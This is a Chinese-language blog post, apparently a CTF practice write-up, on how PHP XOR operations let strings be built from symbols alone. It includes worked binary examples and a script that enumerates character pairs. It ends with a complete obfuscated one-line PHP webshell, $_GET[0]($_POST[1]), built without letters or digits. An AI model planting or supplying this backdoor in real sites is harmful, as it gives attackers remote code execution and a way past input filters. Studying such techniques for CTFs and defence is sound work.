本文最后更新于:2019 , 八月 19日 星期一, 4:58 下午
简介
今天在一个在线靶场上做题,发现了一个没有数字和字母组成的一句话!
很好奇,也看不懂,就去求助了某世。。。
转来转去一个钟后,emm,终于看懂了
Code
echo '`' ^ `?`; // 输出:_
可以看到,输出的结果是字符:_
之所以会得到这样的结果,是对字符进行了异或运算
Ps:在PHP中,两个变量进行异或时,会进行如下操作
字符 >> ASCII码 >> 二进制 >> 异或 >> 二进制 >> ASCII码 >> 字符
异或操作有时也被用来交换两个变量的值
什么是异或?
对等长二进制模式按位或二进制的每一位执行逻辑按位异或操作
操作的结果如果某位不同则该位为1,否则为0
1 ^ 0 = >>> 1
0 ^ 1 = >>> 1
其他情况就是 0
再继续看上面的例子
echo '`' ^ `?`;
`:ASCII码(96),二进制(1100000)
?:ASCII码(63),二进制(111111)
1100000
0111111
--------
1011111
我们可以尝试一些看看是否结果是对的
echo '`ASCII码:'.ord('`').',二进制:'.decbin(ord('`'));
echo '<br />';
echo '?ASCII码:'.ord('?').',二进制:'.decbin(ord('?'));
echo '<br />';
$n = "`" ^ "?";
echo '` ^ ? 结果:'.$n;
echo '<br />';
echo '_ASCII码:'.ord('_').',二进制:'.decbin(ord('_'));
PHP是弱类型语言,也就是说PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作
利用这一特点:将整形转字符串,布尔值转整
然而,我们发现这样一样一一比对太麻烦了,我们可以写一个脚本进行输出
$x = ['`','!','@','#','$','%','^','&','*','(',')','_','{','}','?','>','<',';',];
foreach ($x as $k) {
foreach ($x as $w) {
$n = $k ^ $w;
echo $k . "^" . $w . ":" . @hex2bin(dechex(ord($n)));
echo '<br />';
}
}
从中,你有目的的选择异或后,你需要的字符,进行排列组合
例如一下的已知一句话后门
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/"); // _GET
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|"); // _POST
${$__}[!$_](${$___}[$_]); // $_GET[0]($_POST[1])